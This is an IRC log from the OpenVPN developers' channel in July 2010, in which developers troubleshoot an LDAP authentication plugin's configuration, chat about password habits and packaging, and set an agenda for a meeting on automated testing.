[~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:16 -!- HanX [~HanX@ks368275.kimsufi.com] has quit [Ping timeout: 276 seconds] 13:20 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:22 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 13:23 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 13:45 -!- HanX [~HanX@ks368275.kimsufi.com] has quit [Ping timeout: 240 seconds] 14:00 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:18 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 15:14 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:39 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 16:59 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 16:59 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 16:59 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 18:22 -!- krzee [~k@unaffiliated/krzee] has quit [Read error: Operation timed out] 19:21 -!- krzee [krzee@unaffiliated/krzee] has joined #openvpn-devel 22:12 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:34 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 22:52 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sun Jul 25 2010 04:41 -!- mape2k [~mape2k@2a01:198:23f:10ff:c8fa:71ff:fed0:3bc7] has joined #openvpn-devel 07:25 -!- mape2k [~mape2k@2a01:198:23f:10ff:c8fa:71ff:fed0:3bc7] has quit [Ping timeout: 252 seconds] --- Log opened Sun Jul 25 21:39:06 2010 21:39 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 21:39 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 0 voices, 11 normal] 21:39 -!- Irssi: Join to #openvpn-devel was synced in 36 secs --- Day changed Mon Jul 26 2010 00:58 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:36 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:08 -!- dazo_afk is now known as dazo 03:09 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 03:11 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:13 -!- mattock [~samuli@gprs-prointernet-ffc4c200-83.dhcp.inet.fi] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:06 <@mattock> chantra: art thou there? 05:08 < chantra> mattock: yep 05:09 <@mattock> great! 05:09 <@mattock> I'm having some issues with the LDAP auth module 05:09 < chantra> :) 05:10 < chantra> shout :p 05:10 <@mattock> first it complained about missing diffie-hellman parameters and now it complains about missing ca entry (in config file) 05:10 < chantra> hum, that should not be the plugin 05:10 <@mattock> and it also complains about the LDAP plugin -specific configuration directives 05:10 < chantra> oh 05:10 <@mattock> I'll copy and paste my stuff somewhere, just a sec 05:11 < chantra> cool 05:11 <@mattock> root@build:/etc/openvpn# openvpn --config /etc/openvpn/openvpn.conf 05:11 <@mattock> Options error: You must define CA file (--ca) or CA path (--capath) 05:11 < chantra> that will be openvpn error 05:12 < chantra> best to test plugin auth is to use ./tests/testplugin -c /path/to/plugin.conf 05:13 < chantra> this is the plugin line I use: 05:13 < chantra> plugin /etc/openvpn/ldap-auth/libopenvpn-ldap-auth.so -c /etc/openvpn/ldap-auth/ldap-auth.conf 05:15 <@mattock> ok: http://pastie.org/1060217 05:15 <@mattock> I'll check tests 05:16 < chantra> mattock: first, URI should be something like: 05:16 < chantra> uri=ldap://ldap_server:389 05:16 <@mattock> ok, will fix 05:16 < chantra> really here, uri=ldap://ldap_server 05:16 < chantra> sure the space will confuse the crappy conf parsing I am doing 05:17 < chantra> and group_search_filter 05:17 < chantra> group_search_filter=cn=builders 05:18 < chantra> instead of group_search_filter=(cn=builders) 05:18 < chantra> that is my mistake.... 05:18 <@mattock> ok 05:19 < chantra> FYI, I am working on it ATM, attempting to make things cleaner 05:19 <@mattock> should this (from your wiki) work: search_filter=(uid=%u) 05:20 <@mattock> I mean with the () 05:20 < chantra> mattock: yeah 05:20 < chantra> :) 05:21 < chantra> it is just that for some reason I expand group_search_filter to (group_search_filter) as far as i remember 05:22 <@mattock> I'll try to locate the "tests" and see what is going on... it seems like the plugin has not loaded properly 05:22 <@mattock> (using openvpn from debian packages currently) 05:22 < chantra> mattock: this is what i use to (lenny though) 05:23 < chantra> etch was 2.0.... and that will not understand -c flag 05:23 < chantra> mattock: testplugin should be in sourcedir/tests 05:23 < chantra> it builds when compiling 05:25 < chantra> group_search_filter expands to "(&(member=userdn)(group_search_filter))"; 05:26 <@mattock> ok 05:26 <@mattock> oh yes, found the tests 05:28 <@mattock> test itself seems to work, but there's no access to the LDAP server yet 05:28 <@mattock> could that cause the complaints about "dh" and "ca"? 05:29 < chantra> mattock: nope, dh and ca are openvpn params only 05:29 <@mattock> yep, that's what I thought 05:29 <@mattock> I'll setup access to the LDAP server anyways now 05:29 < chantra> if you use stock openvpn on debian, it needs to be the relative path from /etc/openvpn 05:30 < chantra> as it is chrooted there 05:32 <@mattock> you mean the LDAP plugin library (.so)? 05:32 <@mattock> I'm using Lenny btw 05:32 < chantra> mattock: nope, the paths to ca/dh 05:33 < chantra> mattock: ca is compulsary in openvpn config 05:33 <@mattock> ok, I see 05:33 <@mattock> is it used for anything if ldap auth is active? 05:33 < chantra> mattock: nope, this is openvpn internal stuff 05:34 < chantra> ca+dh are used for encryption 05:34 < chantra> AFAIK 05:34 <@mattock> yep 05:34 < chantra> ldap plugin will not use those 05:35 < chantra> one of those days, it should use params like tls_certfile .... to make sure the ldap server is who it is meant to be 05:35 <@mattock> is it possible for clients to read the LDAP username/password combinations from a file? 05:35 < chantra> yop, using --up I think 05:35 <@mattock> ok, I need to rethink my VPN setup 05:36 <@mattock> otherwise it gets pretty hacky 05:36 < chantra> --auth-user-pass 05:36 < chantra> --auth-user-pass [up] 05:36 <@mattock> ok, great! 05:36 < chantra> Authenticate with server using username/password. up is a file containing username/password on 2 lines 05:38 <@mattock> ok, I'll do some reading and reconfiguring before I go any further 05:38 < chantra> i can pastebin the set up I use if you like 05:38 <@mattock> that'd be great! 05:45 < chantra> mattock: http://pastie.org/1060237 05:46 <@mattock> god damn my crappy network connection... "3g even at your summer cottage" :) 06:27 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Disconnected by services] 06:29 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 06:37 -!- mattock1 [~samuli@gprs-prointernet-ffcac200-53.dhcp.inet.fi] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:39 -!- mattock [~samuli@gprs-prointernet-ffc4c200-83.dhcp.inet.fi] has quit [Ping timeout: 276 seconds] 08:33 -!- mattock1 [~samuli@gprs-prointernet-ffcac200-53.dhcp.inet.fi] has quit [Ping timeout: 246 seconds] 08:50 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 08:53 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 09:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 10:16 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 10:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:03 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:47 -!- dazo is now known as dazo_afk 13:12 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 22:17 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:57 -!- Guest12047 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 23:00 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 260 seconds] 23:01 -!- Netsplit *.net <-> *.split quits: fkr 23:03 -!- Netsplit over, joins: fkr 23:04 -!- Netsplit *.net <-> *.split quits: krzie, fkr 23:05 -!- Netsplit *.net <-> *.split quits: vpnHelper 23:05 -!- Netsplit *.net <-> *.split quits: @cron2 23:06 -!- Netsplit over, joins: fkr, krzie, vpnHelper, @cron2 23:09 -!- Netsplit *.net <-> *.split quits: krzie, @cron2, vpnHelper, fkr 23:09 -!- Netsplit over, joins: fkr, krzie, vpnHelper, @cron2 23:10 -!- Netsplit *.net <-> *.split quits: krzie, @cron2, vpnHelper, fkr 23:14 -!- fkr [mmx8l5edpr@devon.fsck.us] has joined #openvpn-devel 23:14 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 23:14 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 23:14 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 23:14 -!- ServerMode/#openvpn-devel [+o cron2] by wolfe.freenode.net 23:15 -!- krzie [nobody@unaffiliated/krzee] has quit [Excess Flood] 23:16 -!- Netsplit *.net <-> *.split quits: d12fk, krzee, chantra, @dazo_afk, Guest12047, ScriptFanix 23:18 -!- Netsplit over, joins: Guest12047, ScriptFanix, d12fk, krzee, chantra, @dazo_afk 23:25 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Jul 27 2010 00:44 -!- Irssi: #openvpn-devel: Total of 16 nicks [3 ops, 0 halfops, 0 voices, 13 normal] 01:20 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:02 -!- dazo_afk is now known as dazo 02:18 -!- mattock [~samuli@gprs-prointernet-ff796a00-115.dhcp.inet.fi] has joined #openvpn-devel 02:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:51 -!- mattock [~samuli@gprs-prointernet-ff796a00-115.dhcp.inet.fi] has quit [Ping timeout: 260 seconds] 03:00 -!- mattock [~samuli@gprs-prointernet-ffc6c200-145.dhcp.inet.fi] has joined #openvpn-devel 03:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:33 <@mattock> oops... I forgot to restart slapd after yesterday's debugging session... apologies to anyone who tried to authenticate to Trac 03:36 < chantra> mattock: did you get ldap auth sorted? 03:36 <@mattock> partially 03:36 <@dazo> mattock: I've pushed out a new beta2.2 branch ... not tagged it yet, will do that when we go official this time 03:36 <@mattock> I just got the OpenVPN client to ask for username/password interactively 03:37 <@mattock> and the server does the LDAP search 03:37 <@dazo> but the new beta2.2 branch contains all the last minute changes from James + dropping the FRP 03:37 <@mattock> but it still complains about invalid username/password 03:37 <@mattock> might be an ACL issue like with phpbb 03:37 <@mattock> dazo: great! my buildbot adventures won't go anywhere until I get the VPN issues sorted out 03:38 <@mattock> however, the "end of the month" is still realistic 03:38 <@mattock> for debian/ubuntu packages and developer access to buildbot 03:41 <@dazo> cool! 03:44 < chantra> mattock: use this to troubleshoot ldap 03:44 < chantra> ldapsearch -x -H ldap://localhost -W -D "uid=chantra,ou=users,dc=example,dc=com" -b "dc=example,dc=com" 03:44 < chantra> this would rule out any issues in ldap plugin or openvpn 03:45 <@mattock> chantra: I got slapd running with -d 256 (search filter debugging) 03:45 < chantra> mattock: hard to read :) 03:45 <@mattock> I'll first make sure both Trac and LDAP plugin do the same queries 03:45 <@mattock> (although that did not help with phpbb) :) 03:45 < chantra> mattock: i just realized something 03:45 < chantra> basen=ou=Accounts,dc=domain,dc=com 03:45 <@mattock> yep, noticed that too 03:45 <@mattock> fixed it 03:45 < chantra> http://pastie.org/1060217 03:45 < chantra> oh, ok 03:53 <@mattock> hmm, the exact same symptoms as with phpbb 03:54 < chantra> mattock: to troubleshoot potential filters issue, use testplugin 03:54 < chantra> you should get the different steps that succeed/fail 03:54 < chantra> as in http://pastie.org/1061824 03:55 < chantra> 1) search user chantra in ou=users,dc=example,dc=com 03:55 < chantra> 2) succeed to bind (thus username/password is ok) 03:56 < chantra> 3) line 22,23 check that user belong to group 03:56 < chantra> brb 04:08 <@mattock> yep, it fails when trying to bind with the real username "cn=samuli, ou=Accounts..." 04:10 <@mattock> oh my god... the same thing again 04:10 <@mattock> I forgot I've changed my "community services" password :D 04:10 <@mattock> let's try with the correct one :) 04:11 <@dazo> heh 04:11 <@mattock> haha! worked :) 04:11 <@mattock> stupid me 04:11 <@mattock> one should never use more than 1 password 04:12 <@dazo> mattock: you only say that until you type your password into an irc window :-P 04:13 <@mattock> never done that - yet :D 04:13 <@mattock> well, I have like 100 passwords stored in a encrypted container and Firefox password database (protected with a password) 04:13 <@dazo> me neither ... but I've seen people doing it :) 04:14 * dazo got some 30 password stored and safely encrypted in his brain :-P 04:19 <@mattock> it's surprising how many passwords one can remember... 04:19 <@dazo> yeah 04:19 <@dazo> but you need some structure behind it 04:19 <@mattock> I use 10-15 constantly 04:19 <@mattock> I don't have any structure :) 04:20 <@mattock> except that they are partially pronounceable 04:20 <@mattock> not words but consist of syllables 04:20 <@dazo> we usually remember structures and associations better than "random" letters 04:20 <@mattock> partly 04:20 <@mattock> yeah, 100% random letter/number combos are difficult 04:21 <@mattock> chantra: can you grant me access to your LDAP plugin wiki? I'd like to make amendments to the documentation 04:21 <@mattock> or shall I send you "patches"? 04:22 <@dazo> I've began practising the "This morning, I had one cup of tea for breakfast"-method ... which can be translated into: Tm,Ih1c0tfB" ... which is pretty "random" but with a structure 04:23 <@dazo> (obviously, I don't use the same phrase, though!) 04:23 <@mattock> yep, that's a good way to remember almost random passwords 04:23 <@mattock> never done that, though, but I've heard it suggested by security guys 04:24 <@dazo> and if you then add a prefix or suffix code to which service you use the password with ... then you can practically use the "same" password, but still keeping them different 04:25 <@mattock> I got to try that the next time 04:25 <@mattock> I usually create random, unique passwords for sites I don't use often and/or are high risk (e.g. anything that uses your credit card) 04:26 <@mattock> and store them in the truecrypt container 04:26 <@mattock> chantra: now it authenticates properly but group search fails (because it's not configured properly yet) 04:42 < chantra> mattock: if you register an account on http://redmine.debuntu.org/ then I can add you as "developer" so you can edit wiki pages 04:42 < vpnHelper> Title: Redmine@Debuntu (at redmine.debuntu.org) 04:42 < chantra> but in a way, there is a lot of changes to come soon 04:42 <@mattock> chantra: ok, I'll do that 04:42 < chantra> so maybe a "diff" is worth it 04:42 <@mattock> the build dependencies section needs some work both on Ubuntu and Debian 04:43 < chantra> ?, this is what I built it on all the time 04:43 < chantra> well, maybe i should have said libldap2-dev ... 04:43 < chantra> instead of libldap only 04:55 <@mattock> yep, noobs might get confused :) 04:55 <@mattock> I'll can fix them, no probs 04:55 <@mattock> and on Debian the package names are different -> I'll fix that too 04:56 <@mattock> just sit back and relax :) 05:27 <@mattock> ok, LDAP auth now working 05:31 < chantra> mattock: \o/ 05:45 <@mattock> chantra: is it possible to use LDAP auth only without the client.crt, client.key etc? 05:46 <@mattock> I mean, does it provide an additional or alternative security layer 05:46 <@mattock> ? 05:46 < chantra> mattock: yeah, this is how I use it 05:46 < chantra> same here, this is openvpn specific 05:46 < chantra> you could use certs + username/password 05:46 < chantra> or only username/password 05:46 <@mattock> ok, so do I need to have "dummy" client cert entries in openvpn config to avoid warning 05:47 <@mattock> from the OpenVPN config parser 05:47 < chantra> nope, just as in http://pastie.org/1060237 05:47 < chantra> client-cert-not-required 05:47 < chantra> username-as-common-name 05:48 <@mattock> ok, I use that already 05:48 <@mattock> I'll do some testing 05:48 < chantra> but client still need ca.crt though 05:49 <@mattock> ok, I'll remove all I can 05:52 <@mattock> great, works without client certs 05:52 < chantra> mattock: what kind of host might be needed for buildbot ? 05:52 <@mattock> what do you have available? 05:52 <@mattock> I already have Debian Lenny (amd64) and Ubuntu 9.10 (i386( 05:53 <@mattock> (i386) 05:53 <@mattock> and cron2 may be able to provide NetBSD/Sparc64 05:53 < chantra> well, i only have a personnal server that I dont fanzy running VMs on as it serves my sites.... but I could look into setting a VM at work 05:53 < chantra> have to see this internally though 05:53 <@mattock> still missing RPM-based distros and other *BSD 05:54 <@mattock> chantra: I'll register to redmine debuntu now 05:54 < chantra> but... why not dedicating one server to run all kind of VMs 05:54 < chantra> because buildbot slave VMs wont need much mem/cpu really 05:58 <@mattock> true, that works well for i386 and amd64, but we should have "funky" stuff like NetBSD/Sparc64 too :) 05:58 <@mattock> also, we (the company) don't currently have tons of servers available 05:59 <@mattock> although one dedicated server for buildbot and beaker would make perfect sense 06:08 < chantra> well, just in case, there is companies like http://www.hetzner.de/de/hosting/produktmatrix/rootserver-produktmatrix-eq/ 06:08 < vpnHelper> Title: Hetzner Online AG: Root Server Produktmatrix EQ (at www.hetzner.de) 06:09 < chantra> that provide decent serverr for quite cheap (50âeuros) 06:15 -!- mattock1 [~samuli@gprs-prointernet-ffc4c200-153.dhcp.inet.fi] has joined #openvpn-devel 06:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:16 <@mattock1> chantra: yep, I'll have to beg for a dedicated server which I can play with :) 06:16 <@mattock1> the servers are not at all expensive 06:16 < chantra> for the specs... no 06:17 -!- mattock [~samuli@gprs-prointernet-ffc6c200-145.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 06:27 <@mattock1> chantra: I now created an account to redmine.debuntu.org... username "mattock" 06:27 < chantra> mattock1: you should be able to edit now 06:27 <@mattock1> I'm getting 1500-10000ms latency from my 3g/3,5g... perhaps it's time for lunch :) 06:28 < chantra> :) 06:28 <@mattock1> chantra: ok, I'll do some edits after lunch 06:29 <@mattock1> thanks! 06:30 < chantra> np 06:30 < chantra> gtg 07:30 -!- mattock1 [~samuli@gprs-prointernet-ffc4c200-153.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 07:32 -!- mattock [~samuli@gprs-prointernet-ffbb6a00-37.dhcp.inet.fi] has joined #openvpn-devel 07:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:37 -!- mattock [~samuli@gprs-prointernet-ffbb6a00-37.dhcp.inet.fi] has quit [Ping timeout: 245 seconds] 07:44 -!- dazo is now known as dazo_afk 08:23 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 08:26 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 08:49 -!- dazo_afk is now known as dazo 09:00 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 11:23 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 11:26 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 12:08 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:34 -!- dazo is now known as dazo_afk 13:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:27 -!- Guest12047 is now known as openvpn2009 13:27 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 13:28 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:18 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:04 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 15:24 -!- Netsplit *.net <-> *.split quits: @openvpn2009, d12fk, krzee, chantra, @dazo_afk, mape2k, ScriptFanix 15:26 -!- Netsplit over, joins: d12fk, @openvpn2009, ScriptFanix, krzee, chantra, @dazo_afk 15:28 -!- Netsplit *.net <-> *.split quits: @openvpn2009, d12fk, krzee, chantra, @dazo_afk, ScriptFanix 15:28 -!- Netsplit over, joins: d12fk, @openvpn2009, ScriptFanix, krzee, @dazo_afk, chantra 15:30 -!- Netsplit *.net <-> *.split quits: @openvpn2009, d12fk, chantra 15:30 -!- Netsplit *.net <-> *.split quits: krzee, ScriptFanix 15:30 -!- Netsplit over, joins: d12fk, @openvpn2009, ScriptFanix, krzee, chantra 16:07 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 22:03 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Wed Jul 28 2010 01:08 -!- mape2k [~mape2k@p5B285F44.dip.t-dialin.net] has joined #openvpn-devel 01:59 -!- mattock [~samuli@gprs-prointernet-fffcc200-6.dhcp.inet.fi] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:08 -!- mattock [~samuli@gprs-prointernet-fffcc200-6.dhcp.inet.fi] has quit [Quit: Leaving.] 02:13 -!- mattock [~samuli@gprs-prointernet-ffc06a00-65.dhcp.inet.fi] has joined #openvpn-devel 02:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:48 <@mattock> chantra: I started updating the LDAP plugin documentation: http://redmine.debuntu.org/projects/openvpn-ldap-auth/wiki/Wiki 02:48 < vpnHelper> Title: openvpn-ldap-auth - Wiki - Redmine@Debuntu (at redmine.debuntu.org) 03:09 <@mattock> chantra: I'll add server/client configuration examples once I'm sure I got them working properly 03:23 -!- dazo_afk is now known as dazo 03:56 <@dazo> mattock: just curious, so I looked at the wiki stuff at redmine.debuntu .... why don't you just use autoreconf -i ? 03:56 <@mattock> ask chantra :) 03:56 <@mattock> I was wondering the same 03:57 <@dazo> anyhow, if the tarball with the sources, if you do 'make dist' or even better 'make distcheck' ... there's no need to run these autotools scripts at all 03:57 <@mattock> ok, now the page is "ready" 03:57 <@mattock> yep, that's true 03:57 <@mattock> I used the version from git 03:57 <@dazo> ahh, yeah, repository stuff needs to be bootstrapped 04:02 <@dazo> mattock: another thing ... one thing to think about when we're packaging OpenVPN ... that's to install openvpn-plugin.h into $PREFIX/include ... that's needed for building plug-ins, as shipping this include file in 3rd party plug-ins is a recipe for disaster in the long run - if the plug-in API changes (like if only variable types changes) 04:03 <@mattock> the Debian way would be to distribute a separate "openvpn-devel" package 04:03 <@mattock> and I guess it's the same with Redhat/CentOS/Fedora 04:03 <@dazo> I know ... but a -devel package with only one include file, that's a bit overkill, I'd say 04:04 <@mattock> yep, it's definitely an overkill, but I believe it's the way things are done (in Debian) 04:04 <@mattock> I'll have to verify if it's a _must_ or just suggested practice 04:04 <@mattock> good point, though 04:04 <@dazo> If Debian or other distros wants it like that, I have no objections :) 04:05 <@dazo> I'm just thinking we should ship it :) 04:05 <@dazo> or ... not we ..... it should be shipped 04:05 <@mattock> I'll check what we should do... people using the "testing" packages are probably more likely to compile plugins, too 04:05 <@mattock> I guess 04:06 <@dazo> yeah 04:07 <@dazo> I've already mentioned it to the Fedora package maintainer ... but I've not heard anything from him in quite a while 04:22 < chantra> mattock: in debian, /usr/include/openvpn/openvpn-plugin.h is distributed with openvpn package 04:23 <@mattock> chantra: ok, so -devel package is not required 04:23 <@mattock> great 04:23 <@mattock> (in fact I should have known that, as I build LDAP plugin and no -devel package existed) :D 04:54 <@dazo> heh 05:15 -!- dazo is now known as dazo_afk 05:40 -!- mattock [~samuli@gprs-prointernet-ffc06a00-65.dhcp.inet.fi] has quit [Ping timeout: 245 seconds] 06:12 -!- dazo_afk is now known as dazo 08:40 -!- mape2k [~mape2k@p5B285F44.dip.t-dialin.net] has quit [Ping timeout: 258 seconds] 09:06 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 09:50 -!- dazo is now known as dazo_afk 10:11 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:25 -!- dazo_afk is now known as dazo 15:12 -!- dazo is now known as dazo_afk 16:04 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 17:19 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 245 seconds] 22:40 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu Jul 29 2010 01:16 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 01:19 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 01:24 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 01:34 -!- mattock [~samuli@gprs-prointernet-ff016a00-62.dhcp.inet.fi] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:12 -!- mattock1 [~samuli@gprs-prointernet-ffb16a00-34.dhcp.inet.fi] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:14 -!- mattock [~samuli@gprs-prointernet-ff016a00-62.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 02:23 -!- mattock [~samuli@gprs-prointernet-ff556a00-70.dhcp.inet.fi] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:24 -!- mattock1 [~samuli@gprs-prointernet-ffb16a00-34.dhcp.inet.fi] has quit [Ping timeout: 260 seconds] 03:07 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 03:11 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 03:15 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:16 <@mattock> what topics shall we discuss today? currently there are none: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-29 03:19 <@cron2> testing 03:21 <@cron2> that is: automated testing of binaries built - I have some ideas, but they are somewhat "I can do this for my own build environment, but this needs to be scaled up 'for everbody'" 03:24 <@mattock> cron2: what kind of automated testing? 03:25 <@mattock> you mean valgrind, coverity and such? 03:25 <@mattock> oh, binaries, sorry 03:57 -!- dazo_afk is now known as dazo 04:21 <@cron2> mattock: I was thinking along the lines of 04:21 <@cron2> configure, build, run "make test" 04:21 <@cron2> "make test" would then run some local tests (as it does today, make sure the SSL stuff is fine) 04:22 <@mattock> ok, so unit tests or similar 04:22 <@cron2> and then run an openvpn-client-connect to a "dedicated testing server", where it would receive a "well-known" IPv4- and IPv6-client-address, and then run some pings etc 04:22 <@mattock> I think beaker can do that... but until we got it running, something like this would be useful 04:23 <@mattock> I think discussing this is a good idea in any case 04:23 <@cron2> mattock: actually, what I had in mind was "full functionality test" - this is especially useful for the platform-dependent bits where unit tests are harder to build 04:23 <@cron2> and you really want "connect to server via udp/tcp/..., setup tun/tap, verify that IP address is correctly configured and that 'ping' works" 04:23 <@mattock> testing the external behavior of the program, right? 04:23 <@cron2> yes 04:24 <@mattock> ok, I'll add clarifications to the topic page 04:24 <@mattock> we can discuss this in more detail in the evening 04:24 <@cron2> but unit tests would be useful as well, if we can identify portions that can be easily detached from the rest and tested 04:27 <@mattock> ok, now the page is updated: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-29 04:27 < vpnHelper> Title: Topics-2010-07-29 – OpenVPN (at community.openvpn.net) 04:27 <@mattock> I'll send mail now 04:29 <@mattock> I'll come back ~30 mins before the meeting... if I don't, it means my there's something seriously wrong with my GPRS/3g connection. In that case you'll have to manage the meeting without me :( 04:36 -!- mattock [~samuli@gprs-prointernet-ff556a00-70.dhcp.inet.fi] has quit [Ping timeout: 276 seconds] 07:41 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 276 seconds] 08:45 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:49 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 09:08 -!- ScriptFanix [~vincent@cl-53.mrs-01.fr.sixxs.net] has joined #openvpn-devel 10:27 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:35 -!- ScriptFanix [~vincent@cl-53.mrs-01.fr.sixxs.net] has quit [Quit: pof] 12:07 -!- dazo is now known as dazo_afk 12:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 12:41 -!- mattock [~samuli@gprs-prointernet-fffa8900-64.dhcp.inet.fi] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:54 <@mattock> I added "security testing" section to today's agenda: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-29 12:54 < vpnHelper> Title: Topics-2010-07-29 – OpenVPN (at community.openvpn.net) 12:55 <@mattock> time's ripe for Valgrind and Coverity now 12:59 <@mattock> almost time for the meeting... 12:59 <@mattock> who's present? 13:00 < krzee> wow, i actually am 13:00 <@cron2> *wave* 13:00 < krzee> ill be partially here =] 13:00 <@mattock> krzee: great! 13:00 <@mattock> dazo? 13:05 <@mattock> I'll mail james 13:05 -!- dazo_afk is now known as dazo 13:05 <@cron2> hah! 13:05 <@dazo> mattock: sorry, I'm late 13:06 <@mattock> dazo: no probs, just mailed james 13:06 <@mattock> I added a new section to agenda 13:06 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-07-29 13:06 < vpnHelper> Title: Topics-2010-07-29 – OpenVPN (at community.openvpn.net) 13:08 <@dazo> let's try again 13:09 <@mattock> let's start the meeting, shall we... 13:09 <@dazo> \o/ 13:09 